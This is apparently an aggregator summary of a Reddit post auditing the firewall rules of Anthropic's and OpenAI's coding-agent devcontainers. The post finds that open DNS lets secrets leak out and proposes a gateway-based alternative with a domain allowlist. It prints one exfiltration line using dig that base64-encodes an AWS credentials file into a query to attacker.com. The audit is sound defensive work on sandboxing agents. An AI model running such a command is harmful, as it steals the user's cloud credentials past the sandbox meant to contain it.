I audited Anthropic's and OpenAI's agent devcontainers line by line — both leak your keys via DNS
Hansehart · reddit · 2026-09-02
The author audited Anthropic's (claude-code) and OpenAI's (codex) official agent devcontainers line by line, and built an open alternative called o3s.
Issues in official containers
- Anthropic's firewall allows UDP 53 to any server; line 29 opens DNS, line 33 opens SSH to any host, line 117's allowlist has no port match.
- OpenAI's secure profile is better — IPv6 default-deny verified at startup, no SSH hole — but DNS (UDP/TCP) remains fully open, as their README admits.
- The key exfil needs one line: dig $(cat /.aws/credentials | base64 | head -c 60).attacker.com — no connection required; an approved resolver walks the chain for the attacker while iptables sees a normal query.
- Docker's sbx (KVM microVM + gVisor) has the strongest boundary but is closed-source and had account/policy issues.
The o3s design
- Firewall lives in a separate gateway container; the workspace has no way out except through it. DNS goes to a dnsmasq with no catch-all upstream — only listed domains resolve, everything else is refused.
- Resolved IPs drop into ipsets so CDN IP changes keep working.
- Policy is one file: domain + ports + a secret name. Keys stay on the gateway; containers get placeholders swapped only for that host on the way out.
- Daily workflow: multiple repos/worktrees in one workspace, four agents on four branches, rootless Docker + minikube for agents to wreck.
- Limits acknowledged: can't stop exfiltration to an allowlisted host (e.g., pushing to GitHub); for truly hostile code use a VM boundary like sbx.
More from coding & agent
- Noob uses ChatGPT to mine papers for speeding up local Gemma 26B on a MacBook — TheMoonMidas · 2026-09-02
- 15 Crucial AI Agent Design Patterns Curated — MaryamMiradi · 2026-09-02
- Docker sending hundreds of MB before build? Use .dockerignore — _jaydeepkarale · 2026-09-02
- Optimizing 100K Token Skill Descriptions into MCP-Based ARD Server — dSebastien · 2026-09-02
- Perplexity uses Fable 5.1 as orchestrator with GPT 5.6 as cost-efficient subagents — AravSrinivas · 2026-09-02
- Prime Agent 0.9.1 ships with massive performance gains and many bug fixes — samsja19 · 2026-09-02